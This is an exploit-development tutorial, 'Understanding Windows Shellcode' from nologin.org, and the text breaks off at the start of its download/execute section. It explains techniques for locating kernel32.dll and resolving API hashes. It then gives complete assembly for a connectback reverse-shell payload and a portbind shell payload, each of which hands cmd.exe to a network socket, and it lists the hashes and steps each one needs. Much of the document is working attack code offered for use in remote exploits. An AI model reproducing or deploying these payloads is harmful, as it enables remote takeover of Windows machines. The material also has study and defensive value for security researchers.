http://www.nologin.org

Understanding Windows Shellcode

---

skape
mmiller@hick.org

Last modified: 12/06/2003

Contents

Chapter 1

Foreword

Before starting the author would like to thank everyone at nologin.org for being a great group of guys and for staying motivated. As far as this document, thanks go out to trew (trew@exploit.us) for all his input and suggestions as well as his patented `ASM challenges`! Thanks also go out to thief (thief@exploit.us) for theorizing with the author on some of the advanced techniques listed in this document and how they can be applied to Windows and other platforms. Thanks go out to H D Moore (hdm@digitaloffsense.net) for reviewing the document and offering suggestions.

With that, on with the show...

Chapter 2

Introduction

The purpose of this document is to familiarize or refresh the reader with the techniques used to write reliable shellcode for Windows. The reader is expected to be familiar with IA32 assembly on at least a conceptual level. It is also recommended that the reader take some time to review some of the items in the bibliography. Aside from that, the only other requirement is the desire to learn.

Many portions of this document have been covered elsewhere before but, to the author's satisfaction, have not been compiled into an easily understandable format for beginners and tinkerers alike. For this reason the author hopes that the reader walks away with a more centralized point of reference with regards to the topic of Windows shellcode.

This document will focus both on Windows 9x and Windows NT based versions with more emphasis on the latter.

The tool used to compile the assembly displayed in this document is `cl.exe` as distributed with Microsoft's Visual Studio suite. With `cl.exe`, one should make use of the inline assembler functionality when attempting to compile the assembly. Also, one can likely use `masm` or other assemblers that support intel-style assembly as well if one does not have access to `cl.exe`.

Finally, all of the shellcode in this document can be found at http://www.hick.org/code/skape/shellcode/win32.

Chapter 3

Shellcode Basics

In the beginning there were bugs, and it was good. Bugs alone, however, are too woefully negative to be thought of in an emotively good light. For that reason, the hacker invented the exploit; the positive contribution to correct the problem of the negative stigma associated with the **bug**. With this exploit, and from the depths of the hacker's kind heart, the hacker offered the program a chance to recover from a critical error by lending it some custom defined code to run in place of where it would have otherwise crashed. And so it was that the term came to be known as `shellcode`, a protective shell for an otherwise doomed program, and it was good.

Now, the good is obviously subjective, depending on what side one is on, but for a moment one must suspend their personal opinions on the subject and instead open their mind to the more objective side of the matter.

Like other operating systems, Windows finds itself susceptible to the same wide array of exploitation techniques that plague others. In the interest of maintaining the focus of this document on the shellcode, the techniques of exploitation themselves will not be covered. Rather, the focus will be on the custom code that will be used.

The first step in the long process of figuring out what code to send as the payload for an exploit involves understanding exactly what one is trying to accomplish. Granted, the end-all requirement may be different depending on the environment and the thing that is being exploited, but the tactics used to reach such a point are likely to have a good number of commonalities between them, and, as fate would have it, they do.

When one attempts to write custom shellcode for Windows one must understand that, unlike Unix variants, the mechanisms for performing certain tasks are not as straight forward as simply doing a system call. Though Windows does

have system calls, they are generally not reliable enough for use with writing shellcode.

3.1 System Calls

NT-based versions of Windows expose a system call interface through `int 0x2e`. Newer versions of NT, such as Windows XP, are capable of using the optimized `sysenter` instruction. Both of these mechanisms accomplish the goal of transitioning from `Ring3`, user-mode, to `Ring0`, kernel-mode.

Windows, like Linux, stores the system call number, or command, in the `eax` register. The system call number in both operating systems is simply an index into an array that stores a function pointer to transition to once the system call interrupt is received. The problem is, though, that system call numbers are prone to change between versions of Windows whereas Linux system call numbers are set in stone. This difference is the source of the problem with writing reliable shellcode for Windows and for this reason it is generally considered "bad practice" to write code for Windows that uses system calls directly vice going through the native user-mode abstraction layer supplied by `ntdll.dll`.

The other more blatant problem with the use of system calls in Windows is that the feature set exported by the system call interface is rather limited. Unlike Linux, Windows does not export a socket API via the system call interface. This immediately eliminates the possibility of doing network based shellcode via this mechanism. So what else could one possibly use system calls for? Obviously there remains potential use for a local exploit, but for the scope of this document the focus will be on remote exploits. Still, with remote exploits, there are some uses for system calls that will be covered in Chapter 6. So if one has all but eliminated system calls as a viable mechanism, what in the world is one to do? With that, onward...

3.2 Finding kernel32.dll

Since it appears that talking directly to the kernel is not an option, an alternative solution will be necessary. The only other way to talk with the kernel is through an existing API on the Windows machine. In Windows, like Unix variants, standard user-mode API's are exported in the form of dynamically loadable objects that are mapped into process space during runtime. The common names for these types of object files are `Shared Object (.so)` or, in the case of Windows, `Dynamically Linked Library (.dll)`. The DLL selection is a rather simple process on Windows as the only one that is guaranteed to be mapped into process space, assuming the binary is not statically linked, is

`kernel32.dll`[1].

With the DLL selection narrowed down to `kernel32.dll` in the interest of writing the most portable and reliable shellcode, one must now find a way to use this library to accomplish the arbitrary end-goal. The only way to accomplish this generically is to find a way to be able to load more DLL's that may or may not already be loaded into process space and to be able to resolve arbitrary symbols inside said DLL's. These DLL's will be used to provide a mechanism by which to connect to a machine on a port, download a file, and to perform other tasks that are specific to the shellcode being used.

Fortunately, `kernel32.dll` does expose an interface to solve both of these problems via the `LoadLibraryA` and `GetProcAddress` functions, respectively. The `LoadLibraryA` function, as its name implies, implements the mechanism by which a specified DLL may be loaded. The function is prototyped as follows:

```
WINBASEAPI HMODULE WINAPI LoadLibraryA(LPCSTR lpLibFileName);
```

Translated into common terms, `LoadLibraryA` uses the stdcall calling convention and accepts a constant string pointer to the file name of the module to load, finally returning the base address (in the form of a `void` pointer) of the loaded module on success. This is the sort of functionality that is definitely what one needs to be able to write arbitrary custom shellcode, but it's only half of the battle. The second half, resovling symbol addresses, will be discussed in Section 3.3.

Unfortunately there exists an inherent problem with using `kernel32.dll` to meet one's goals. Simply speaking, one is not guaranteed to have `kernel32.dll` loaded at the same address for every different version of Windows. In fact, the possibility exists for users to change the address that `kernel32.dll` loads at by using the `rebase.exe` tool. This means that addresses to functions in `kernel32.dll` cannot be hardcoded in shellcode without giving up reliability. Many current implementations of Windows shellcode make the mistake of hardcoding addresses into the code itself. Don't fret, though, the battle is not lost. There do exist ways to find the base address of `kernel32.dll` without hardcoding any addresses at all.

3.2.1 PEB

Targets: 95/ 98/ ME/ NT/ 2K/ XP
Size: 34 bytes

[1] `ntdll.dll` is excluded from this explanation for the sake of simplicity.

The first technique that will be discussed is documented in `The Last Stage of Delerium's` excellent paper[1]. It is by far the most reliable technique for use with determining the base address of `kernel32.dll`. The only disadvantage it has is that it is also the largest in regards to size coming in at roughly **34** bytes for a version that works on with Windows 9x and Windows NT.

The process of determining the `kernel32.dll` base address involves making use of the `Process Environment Block` (PEB). The operating system allocates a structure for every running process that can always be found at `fs:[0x30]` from within the process. The PEB structure holds information about the process' heaps, binary image information, and, most importantly, three linked lists regarding loaded modules that have been mapped into process space. The linked lists themselves differ in purposes from showing the order in which the modules were loaded to the order in which the modules were initialized. The initialization order linked list is of most interest as the order in which `kernel32.dll` is initialized is always constant as the second module to be initialized. It is this fact that one can take the most advantage of. By walking the list to the second entry, one can deterministically extract the base address for `kernel32.dll`.

At the time of this writing the author is not aware of any situations where the above strategy would fail barring software that aggressively invalidates the `kernel32.dll` information in the initialization order list.

The `PEB` assembly:

```
find_kernel32:
    push  esi
    xor   eax, eax
    mov   eax, fs:[eax+0x30]
    test  eax, eax
    js    find_kernel32_9x
find_kernel32_nt:
    mov   eax, [eax + 0x0c]
    mov   esi, [eax + 0x1c]
    lodsd
    mov   eax, [eax + 0x8]
    jmp   find_kernel32_finished
find_kernel32_9x:
    mov   eax, [eax + 0x34]
    lea   eax, [eax + 0x7c]
    mov   eax, [eax + 0x3c]
find_kernel32_finished:
    pop   esi
    ret
```

The explanation of the above assembly can be found in Section 8.1.1.

3.2.2 SEH

Targets: 95/ 98/ ME/ NT/ 2K/ XP
Size: 33 bytes

The `Structured Exception Handling` (SEH) technique is the second most reliable technique for obtaining the base address of `kernel32.dll`. This method is also mentioned in `The Last Stage of Delerium's` paper[1] but is not covered in detail. The shellcode itself is roughly **33** bytes in size and works on both Windows 9x and Windows NT.

The process of determining the `kernel32.dll` base address via this mechanism is to take advantage of the fact that the default `Unhandled Exception Handler` is set to use a function that exists inside `kernel32.dll`. On both Windows 9x and Windows NT based versions the top-most entry in the SEH list can always be found at `fs:[0]` from within the process. With this in mind, one can walk the list of installed exception handlers until they reach the last one. When the last one is reached the address of the function pointer can be used as a starting point for walking down in increments of 64KB, or 16×4096 byte pages. In Windows, DLL's will only align on 64KB boundaries. At each 64KB boundary a check can be performed to see if the two characters at that point are 'MZ'. These two characters mark the MSDOS header that is prepended to portable executables. Once a match is found it is safe to assume that the base address for `kernel32.dll` has been found.

The problems one may encounter with this technique is that the `Unhandled Exception Handler` may not point to an address inside `kernel32.dll`. It's possible for an application to completely remove the standard handler from the picture and install their own. If this is the case, one cannot use this method to find `kernel32.dll`. Fortunately, however, this is not the common case, and in general this method will be reliable.

The `SEH` assembly:

```
find_kernel32:
    push esi
    push ecx
    xor  ecx, ecx
    mov  esi, fs:[ecx]
    not  ecx
find_kernel32_seh_loop:
    lodsd
    mov  esi, eax
    cmp  [eax], ecx
    jne  find_kernel32_seh_loop
```

```
find_kernel32_seh_loop_done:
    mov  eax, [eax + 0x04]

find_kernel32_base:
find_kernel32_base_loop:
    dec  eax
    xor  ax, ax
    cmp  word ptr [eax], 0x5a4d
    jne  find_kernel32_base_loop
find_kernel32_base_finished:
    pop  ecx
    pop  esi
    ret
```

The explanation of the above assembly can be found in Section 8.1.2.

3.2.3 TOPSTACK

Targets: NT/ 2K/ XP
Size: 25 bytes

The last of the methods that this document covers is a relative newcomer to the scene. It weighs in the lightest at **25** bytes and only works in its current implementation on Windows NT based versions.

The process of determining the `kernel32.dll` base address via this mechanism is to extract the top of the stack by using a pointer stored in the `Thread Environment Block` (TEB). Each executing thread has its own corresponding TEB with information unique to that thread. The TEB for the current thread can be accessed by referencing `fs:[0x18]` from within the process. The pointer to the top of the stack for the current thread can be found `0x4` bytes into the TEB. From there, `0x1c` bytes into the stack from the top holds a pointer that exists somewhere inside `kernel32.dll`. Finally, one follows the same course as the SEH method by walking down by 64KB boundaries until an 'MZ' is encountered.

The `TOPSTACK` assembly:

```
find_kernel32:
    push esi
    xor  esi, esi
    mov  esi, fs:[esi + 0x18]
    lodsd
```

```
    lodsd
    mov  eax, [eax - 0x1c]

find_kernel32_base:
find_kernel32_base_loop:
    dec  eax
    xor  ax, ax
    cmp  word ptr [eax], 0x5a4d
    jne  find_kernel32_base_loop
find_kernel32_base_finished:
    pop  esi
    ret
```

The explanation of the above assembly can be found in Section 8.1.3.

3.3 Resolving Symbol Addresses

At this point one has the tools necessary to determine the base address of `kernel32.dll`; the only piece missing is how to resolve symbols not only in `kernel32.dll`, but also in any other arbitrary DLL.

In the previous section it was mentioned that one of the potential mechanisms for obtaining symbol addresses would be to use `GetProcAddress`. The problem with this is that it's a sort of cart before the horse situation. At this point the only information one has is where in memory `kernel32.dll` can be found, but that does no good as the offsets to functions inside the DLL itself will vary from version to version. With that said it will be necessary to be able to resolve function addresses, or at least that of `GetProcAddress`, without the use of `GetProcAddress` itself.

3.3.1 Export Directory Table

Targets: 95/ 98/ ME/ NT/ 2K/ XP
Size: 78 bytes

The process for resolving symbol addresses that this document will outline is covered in great detail in `The Last Stage of Delerium's` paper[1] and as such a higher level overview will suffice. The basic understanding required is that the DLL Portable Executable images have an export directory table. The export directory table holds information such as the number of exported symbols as well as the `Relative Virtual Address` (RVA) of the functions array, symbol

names array, and ordinals array. These arrays match one-to-one with exported symbol indexes. In order to resolve a symbol one must walk the export table by going through the symbol names array and hashing the string name associated with the given symbol until it matches the hash of the symbol requested. The reason why hashes are used instead of directly comparing strings is related to the fact that it would be much too expensive with regards to size to simply use the string of every symbol that needs to be resolved. Instead, a string can be optimized down into a four byte hash.

Once a hash is found that matches the one specified the actual virtual address of the function can be calculated by using the index of the symbol resolved in relation to the ordinals array. From there, the value at the given index of the ordinals array is used in conjunction with the functions array to produce a relative virtual address to the symbol. All that's left is to simply add the base address to the relative address and one now has a fully functional `Virtual Memory Address` (VMA) to the function requested.

The positive point to using this technique is the fact that it can be used for every DLL. It is not strictly limited to use with `kernel32.dll`. Once `LoadLibraryA` has been resolved, one can proceed to load arbitrary modules and symbols and as such can write fully functional custom shellcode, even without the use of `GetProcAddress`.

The `find_function` assembly:

```
find_function:
    pushad
    mov   ebp, [esp + 0x24]
    mov   eax, [ebp + 0x3c]
    mov   edx, [ebp + eax + 0x78]
    add   edx, ebp
    mov   ecx, [edx + 0x18]
    mov   ebx, [edx + 0x20]
    add   ebx, ebp
find_function_loop:
    jecxz find_function_finished
    dec   ecx
    mov   esi, [ebx + ecx * 4]
    add   esi, ebp
compute_hash:
    xor   edi, edi
    xor   eax, eax
    cld
compute_hash_again:
    lodsb
    test  al, al
```

```
    jz    compute_hash_finished
    ror   edi, 0xd
    add   edi, eax
    jmp   compute_hash_again
compute_hash_finished:
find_function_compare:
    cmp   edi, [esp + 0x28]
    jnz   find_function_loop
    mov   ebx, [edx + 0x24]
    add   ebx, ebp
    mov   cx, [ebx + 2 * ecx]
    mov   ebx, [edx + 0x1c]
    add   ebx, ebp
    mov   eax, [ebx + 4 * ecx]
    add   eax, ebp
    mov   [esp + 0x1c], eax
find_function_finished:
    popad
    ret
```

The explanation of the above assembly can be found in Section 8.2.1.

3.3.2 Import Address Table (IAT)

In some cases it may be possible to make use of a DLL's `Import Address Table` to resolve the VMA of functions for use in a reliable fashion. This technique was brought to the attention of the author from `H D Moore's` MetaSploit implementation in the shellcode archive[2]. This technique involves loading a DLL into memory (via `LoadLibraryA`) that has dependencies on the same set of functions that the shellcode itself will depend on. The only problem with this technique is that one is not guaranteed that the offsets of imported symbols will be the same between one version of the DLL and the next. Fortunately, though, there are a given set of DLL's that do not change from one Service Pack of Windows to the next. A specific example of a DLL that does not change between one Service Pack of Windows 2000 to the next, at least to the date of this writing, is `DBMSSOCN.DLL`.

The process involved in making use of the Import Address Table of an arbitrary DLL is to first call `find_kernel32` via one of the given mechanisms described in this document. Second, one should use `find_function` to resolve the symbol of `LoadLibraryA` in `kernel32.dll`. Finally, one can then load the arbitrary DLL and begin to make use of the `Import Address Table` which should now be populated with the VMA's for the modules dependencies.

An implementation that makes use of this technique can be found in `Staged`

`Loading Shellcode` (Chapter 6). $

Chapter 4

Common Shellcode

`Common Shellcode` is the grouping of code that is used across multiple platforms and generally make up the preferred payload for remote exploits. This chapter will outline two of the most common payloads and discuss their advantages and implementations as they pertain to Windows.

4.1 Connectback

Targets: NT/ 2K/ XP
Size: 325 - 376 bytes

In general, `Connectback` shellcode, or reverse shell as it is also called, is the process by which a TCP connection is established to a remote host and a command interpreter's output and input are directed to and from the allocated TCP connection. This is useful for times when one knows or assumes that the remote network does not have outbound filtering, or, if it does, does not have the filtering on the remote machine and port. If either of these cases are not true, one should not use the `Connectback` shellcode as it will not pass through outbound firewalls. That is the one major disadvantage to it.

The process involved in doing the above on Windows is not as straight forward as most other operating systems, though one should come to expect that given the lack of simplicity involved in even the most basic aspects of Windows shellcode. Instead of making use of system calls one must make use of the standard socket API provided by `winsock`. Unfortunately, the two roads diverge here with regards to compatibility between Windows 9x based systems and Windows NT based systems. The major difference is that in NT-based versions the socket

file descriptor returned by `winsock` can be used as a handle for redirection purposes with regards to input and output to a process. This is not so on Windows 9x versions due to the architecture being different. The NT-based versions will be the focus of this analysis but a portion of the explanation will also be dedicated to describing the process on Windows 9x. Though not included in this document, a version of the `Connectback` shellcode for Windows 9x can be found on the site listed in the Foreword.

This explanation will begin with the assumption that the base address of `kernel32.dll` has been found via one of the previously discussed mechanisms. From there, one must then resolve the following symbols in `kernel32.dll` using the `find_function` method:

Function Name	**Hash**
LoadLibraryA	0xec0e4e8e
CreateProcessA	0x16b3fe72
ExitProcess	0x73e2d87e

These symbols should be resolved and stored in memory for later use. The next step is to use the resolved `LoadLibraryA` symbol to load the winsock library `ws2_32.dll`. In actuality, `ws2_32.dll` is likely already loaded in memory. The problem is, though, that one does not know where in memory it has been loaded at. As such, one can make use of `LoadLibraryA` to find out where it has been loaded at. If it has yet to be loaded, `LoadLibraryA` will simply load it and return the address it is mapped in at. Once `ws2_32.dll` is mapped into process space one should use the same mechanism used to resolve symbols in `kernel32.dll` to resolve symbols in `ws2_32.dll`. The following symbols need to be resolved and stored in memory for later use:

Function Name	**Hash**
WSASocketA	0xadf509d9
connect	0x60aaf9ec

With all the required symbols loaded, one may now proceed to do the actual work. The following steps outline the process:

1. `Create a socket`
   The first step in the process is to create an `AF_INET` socket of type `SOCK_STREAM` for use with connecting to a TCP port on a remote machine. This is done by using the `WSASocketA` function which is prototyped as follows:

```
SOCKET WSASocket(
  int af,
  int type,
  int protocol,
  LPWSAPROTOCOL_INFO lpProtocolInfo,
  GROUP g,
  DWORD dwFlags);
```

All of the arguments other than `af` and `type` should be set to zero as they are unnecessary. Upon successful allocation, the new file descriptor will be returned in `eax`. This file descriptor should be maintained in some fashion for use in later steps.

2. `Connect to the remote machine`
   The next step entails establishing the connection to the remote machine that is expecting to receive the redirected output from the command interpreter. This is accomplished by making use of the `connect` function which is prototyped as follows:

```
int connect(
  SOCKET s,
  const struct sockaddr* name,
  int namelen);
```

   If the connection is established successfully, `eax` will be set to zero. It is optional whether or not this test should be tested for as testing for failure impacts the size of the shellcode produced.

3. `Execute the command interpreter`
   At this point everything is setup to simply run the command interpreter. The only thing left is to initialize a structure that is required to be passed to the `CreateProcess` function. This structure is what enables the input and output to be redirected appropriately. The following is the declaration of the `STARTUPINFO` structure followed by the `CreateProcess` prototype:

```
typedef struct _STARTUPINFO {
    DWORD cb;
    ...
    DWORD dwFlags;
    ...
    HANDLE hStdInput;
    HANDLE hStdOutput;
    HANDLE hStdError;
} STARTUPINFO;

BOOL CreateProcess(
```

```
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation);
```

The `STARTUPINFO` structure requires that the `cb` attribute be set to the size of the structure which for all current versions of Windows is `0x44`. Also, the three handles are used to specify what should be used for the logical standard input, standard output, and standard error descriptors. In this case all three of them should be set to the file descriptor returned by `WSASocketA`. This is what causes the redirection to occur. Finally, the dwFlags attribute must have the `STARTF_USESTDHANDLES` flag set in order to indicate that `CreateProcess` should pay attention to the handles[1].

Once the `STARTUPINFO` structure is initialized, all one need do is call `CreateProcess` with the `lpCommandLine` argument set to 'cmd', the `bInheritHandles` boolean set to TRUE so that the child will inherit the socket file descriptor, and finally with the `lpStartupInfo` and `lpProcessInformation` arguments pointing to the proper places. The rest of the arguments should be `NULL`.

4. `Exit the parent process`
   The final step is to simply call `ExitProcess` with the exit code argument set to any arbitrary value.

The above four steps are all that is involved in implementing a version of `Connectback` on Windows NT-based systems. Some features that one could add include the ability to have the parent process wait for the child to exit before terminating itself by using `WaitForSingleObject`. Also, one could have the parent process close the socket after the child terminates to cleanup. These two steps are not entirely necessary and only add to the size of the shellcode.

One important factor that was left out during the entire explanation was the fact that `WSAStartup` was not called at any point[2]. The reason for this is that it is assumed that due to the fact that a remote exploit is being used then it must be true that `WSAStartup` has already been called.

The `Connectback` assembly:

[1] This is the portion that is incompatible with 9x-based versions of Windows. The descriptor returned from `WSASocketA` is not valid for use as a handle in the context of `STARTUPINFO`.

[2] `WSAStartup` is used to initialize the winsock subsystem on Windows. It must be called before any other winsock functions can be used.

```
connectback:
    jmp startup_bnc

// ...find_kernel32 and find_function assembly...

startup_bnc:
    jmp startup
resolve_symbols_for_dll:
    lodsd
    push eax
    push edx
    call find_function
    mov  [edi], eax
    add  esp, 0x08
    add  edi, 0x04
    cmp  esi, ecx
    jne  resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
    ret
kernel32_symbol_hashes:
    EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec)
    EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)
    EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)
ws2_32_symbol_hashes:
    EMIT_4_LITTLE_ENDIAN(0xd9,0x09,0xf5,0xad)
    EMIT_4_LITTLE_ENDIAN(0xec,0xf9,0xaa,0x60)
startup:
    sub  esp, 0x60
    mov  ebp, esp
    jmp  get_absolute_address_forward
get_absolute_address_middle:
    jmp  get_absolute_address_end
get_absolute_address_forward:
    call get_absolute_address_middle
get_absolute_address_end:
    pop  esi
    call find_kernel32
    mov  edx, eax
resolve_kernel32_symbols:
    sub  esi, 0x22
    lea  edi, [ebp + 0x04]
    mov  ecx, esi
    add  ecx, 0x0c
    call resolve_symbols_for_dll
resolve_winsock_symbols:
    add  ecx, 0x08
```

```
    xor  eax, eax
    mov  ax, 0x3233
    push eax
    push 0x5f327377
    mov  ebx, esp
    push ecx
    push edx
    push ebx
    call [ebp + 0x04]
    pop  edx
    pop  ecx
    mov  edx, eax
    call resolve_symbols_for_dll
initialize_cmd:
    mov  eax, 0x646d6301
    sar  eax, 0x08
    push eax
    mov  [ebp + 0x30], esp
create_socket:
    xor  eax, eax
    push eax
    push eax
    push eax
    push eax
    inc  eax
    push eax
    inc  eax
    push eax
    call [ebp + 0x10]
    mov  esi, eax
do_connect:
    push 0x0101017f
    mov  eax, 0x5c110102
    dec  ah
    push eax
    mov  ebx, esp
    xor  eax, eax
    mov  al, 0x10
    push eax
    push ebx
    push esi
    call [ebp + 0x14]
initialize_process:
    xor  ecx, ecx
    mov  cl, 0x54
    sub  esp, ecx
```

```
    mov  edi, esp
    push edi
zero_structs:
    xor  eax, eax
    rep  stosb
    pop  edi
initialize_structs:
    mov  byte ptr [edi], 0x44
    inc  byte ptr [edi + 0x2d]
    push edi
    mov  eax, esi
    lea  edi, [edi + 0x38]
    stosd
    stosd
    stosd
    pop  edi
execute_process:
    xor  eax, eax
    lea  esi, [edi + 0x44]
    push esi
    push edi
    push eax
    push eax
    push eax
    inc  eax
    push eax
    dec  eax
    push eax
    push eax
    push [ebp + 0x30]
    push eax
    call [ebp + 0x08]
exit_process:
    call [ebp + 0x0c]
```

The explanation of the above assembly can be found in Section 8.3.1.

4.2 Portbind

Targets: NT/ 2K/ XP
Size: 353 - 404 bytes

`Portbind` shellcode is similar to the `Connectback` shellcode in that its goal is to redirect a command interpreter to a file descriptor. The method by which it does this, though, is different. Instead of establishing a TCP connection itself, `Portbind` shellcode listens on a TCP port and waits for an incoming connection. When the connection is received the code then redirects a command interpreter to the client socket. This is useful for conditions where it is either known or assumed that the client machine does not have a firewall that filters on inbound ports, or, if it does, it is known that the computer does not have a firewall that filters on the chosen port of listening. If either one of these conditions are untrue then the `Portbind` shellcode cannot be used as one will not be able to connect to it from the outside. This is the major disadvantage to `Portbind` shellcode.

The implementation of `Portbind` on Windows requires most of the same things as `Connectback`. One must find the `kernel32.dll` base address via one of the methods described in this document and one must also resolve a given set of symbols. The symbols required from `kernel32.dll` are as follows:

Function Name	**Hash**
LoadLibraryA	0xec0e4e8e
CreateProcessA	0x16b3fe72
ExitProcess	0x73e2d87e

Once the above symbols have been successfully resolved, one must then use `LoadLibraryA` to load the winsock library, `ws2_32.dll`. After the library is loaded successfully, one must then resolve the following symbols from `ws2_32.dll` for later use:

Function Name	**Hash**
WSASocketA	0xadf509d9
bind	0xc7701aa4
listen	0xe92eada4
accept	0x498649e5

With all the required symbols loaded, one may now proceed to do the actual work. The following steps outline the process:

1. `Create a socket`
   The first step in the process is to create an `AF_INET` socket of type `SOCK_STREAM` for use with listening on a TCP port for a client connection. This is done by using the `WSASocketA` function which is prototyped as follows:

```
SOCKET WSASocket(
  int af,
  int type,
  int protocol,
  LPWSAPROTOCOL_INFO lpProtocolInfo,
  GROUP g,
  DWORD dwFlags);
```

All of the arguments other than `af` and `type` should be set to zero as they are unnecessary. Upon successful allocation, the new file descriptor will be returned in `eax`. This file descriptor should be maintained in some fashion for use in later steps.

2. `Bind to a port`
   The next stage involves making use of the `bind` function to bind to a local port that will be listened on. `bind` is prototyped as follows:

   ```
   int bind(
     SOCKET s,
     const struct sockaddr* name,
     int namelen
   );
   ```

   The `s` argument should be set to the file descriptor that was returned from `WSASocketA`. The `name` argument should be an initialized `struct sockaddr_in` structure with the `sin_port` attribute set the port that is to be listened on in network-byte order. Finally, the `namelen` argument should be set to the size of `struct sockaddr_in` which is `16` bytes.

   One should note that although the port is arbitrary, one should be careful to not choose a port that is likely to have a conflict with an existing listener on the target machine.

3. `Listen on the port`
   Once the port has been successfully bound by way of `bind`, one should then proceed to start listening on the port. This is done by making use of the `listen` function. `listen` is prototyped as follows:

   ```
   int listen(
     SOCKET s,
     int backlog
   );
   ```

   The `s` argument should once again be set to the file descriptor that was returned from `WSASocketA`. The `backlog` argument is relatively arbitrary as for the purposes of this code the backlog is not important.

4. `Accept a client connection`
   Now that the selected port is being listened on it's time to accept a client connection. This is done by making use of the `accept` function which is prototyped as follows:

   ```
   SOCKET accept(
     SOCKET s,
     struct sockaddr* addr,
     int* addrlen
   );
   ```

   The `s` argument should be set to the file descriptor that was returned from `WSASocketA`. The `addr` argument should point to a space in memory that has allocated 16 bytes of storage (whether it be on the stack or the heap). For the purpose of the shellcode it will likely be on the stack. Finally, the `addrlen` should point to the address of a place in memory that has been initialized to `16` to represent the size of the `addr` argument. This call will block until a client connection has been received at which point the client's file descriptor will be returned in `eax`. This is the file descriptor that will be used to redirect the input and output of the command interpreter.

5. `Execute the command interpreter`
   The process of executing the command interpreter is exactly the same as it is with `Connectback` and as such the description will be more brief. The only thing one need clarify as a difference is that the client file descriptor returned from `accept` should be used as the `hStdInput`, `hStdOutput`, and `hStdError`.

6. `Exit the parent process`
   The final step is to simply call `ExitProcess` with the exit code argument set to an arbitrary value.

The above steps describe the process to implement `Portbind` on NT-based versions of Windows. Like the `Connectback` implementation, one may choose to add a `WaitForSingleObject` and `closesocket` to do more cleanup after the child process has exited. Also, given the circumstances it may be necessary for one to make use of `WSAStartup` to initialize winsock.

The `Portbind` assembly:

```
portbind:
    jmp startup_bnc

// ...find_kernel32 and find_function assembly...

startup_bnc:
```

```
    jmp startup
resolve_symbols_for_dll:
    lodsd
    push eax
    push edx
    call find_function
    mov  [edi], eax
    add  esp, 0x08
    add  edi, 0x04
    cmp  esi, ecx
    jne  resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
    ret
kernel32_symbol_hashes:
    EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec)
    EMIT_4_LITTLE_ENDIAN(0x72,0xfe,0xb3,0x16)
    EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73)
ws2_32_symbol_hashes:
    EMIT_4_LITTLE_ENDIAN(0xd9,0x09,0xf5,0xad)
    EMIT_4_LITTLE_ENDIAN(0xa4,0x1a,0x70,0xc7)
    EMIT_4_LITTLE_ENDIAN(0xa4,0xad,0x2e,0xe9)
    EMIT_4_LITTLE_ENDIAN(0xe5,0x49,0x86,0x49)
startup:
    sub  esp, 0x60
    mov  ebp, esp
    jmp  get_absolute_address_forward
get_absolute_address_middle:
    jmp  get_absolute_address_end
get_absolute_address_forward:
    call get_absolute_address_middle
get_absolute_address_end:
    pop  esi
    call find_kernel32
    mov  edx, eax
resolve_kernel32_symbols:
    sub  esi, 0x2a
    lea  edi, [ebp + 0x04]
    mov  ecx, esi
    add  ecx, 0x0c
    call resolve_symbols_for_dll
resolve_winsock_symbols:
    add  ecx, 0x10
    xor  eax, eax
    mov  ax, 0x3233
    push eax
    push 0x5f327377
```

```
    mov  ebx, esp
    push ecx
    push edx
    push ebx
    call [ebp + 0x04]
    pop  edx
    pop  ecx
    mov  edx, eax
    call resolve_symbols_for_dll
initialize_cmd:
    mov  eax, 0x646d6301
    sar  eax, 0x08
    push eax
    mov  [ebp + 0x34], esp
create_socket:
    xor  eax, eax
    push eax
    push eax
    push eax
    push eax
    inc  eax
    push eax
    inc  eax
    push eax
    call [ebp + 0x10]
    mov  esi, eax
bind:
    xor  eax, eax
    xor  ebx, ebx
    push eax
    push eax
    push eax
    mov  eax, 0x5c110102
    dec  ah
    push eax
    mov  eax, esp
    mov  bl, 0x10
    push ebx
    push eax
    push esi
    call [ebp + 0x14]
listen:
    push ebx
    push esi
    call [ebp + 0x18]
accept:
```

```
    push ebx
    mov  edx, esp
    sub  esp, ebx
    mov  ecx, esp
    push edx
    push ecx
    push esi
    call [ebp + 0x1c]
    mov  esi, eax
initialize_process:
    xor  ecx, ecx
    mov  cl, 0x54
    sub  esp, ecx
    mov  edi, esp
    push edi
zero_structs:
    xor  eax, eax
    rep  stosb
    pop  edi
initialize_structs:
    mov  byte ptr [edi], 0x44
    inc  byte ptr [edi + 0x2d]
    push edi
    mov  eax, esi
    lea  edi, [edi + 0x38]
    stosd
    stosd
    stosd
    pop  edi
execute_process:
    xor  eax, eax
    lea  esi, [edi + 0x44]
    push esi
    push edi
    push eax
    push eax
    push eax
    inc  eax
    push eax
    dec  eax
    push eax
    push eax
    push [ebp + 0x34]
    push eax
    call [ebp + 0x08]
exit_process:
```

```
call [ebp + 0x0c]
```

The explanation of the above assembly can be found in Section 8.3.2.

Chapter 5

Advanced Shellcode

`Advanced Shellcode` is the grouping of code that is not commonly seen or used but has merit with regards to remote exploits. Some specific examples include code that downloads and executes a file (the one which will be discussed in this document), remotely adding a new user to the machine, and sharing a folder on the machine, such as `C:`. These implementations, while less conventional, are nonetheless easily obtainable using the framework that has been established throughout this document.

5.1 Download/Execute

Targets: 95/ 98/ ME/ NT/ 2K/ XP
Size: 493 - 502 bytes

The `Download/Execute` shellcode is designed to download an executable from a URL, with an emphasis on HTTP, and execute it. This allows for larger, more advanced, code to be executed on the native platform. The goal in this approach is similar to `Staged Loading Shellcode` (6) but whereas the focus in that is on loading secondary shellcode into the current process space, the `Download/Execute` method is focused on downloading code and running it in the context of a new process.

The benefits to the `Download/Execute` approach are that it can be used behind networks that filter all other traffic aside from HTTP. It can even work through a pre-configured proxy given that said proxy does not require authentication information. These two advantages make it more desirable than the `Connectback` and `Portbind` techniques as it is more likely to work through firewall setups.

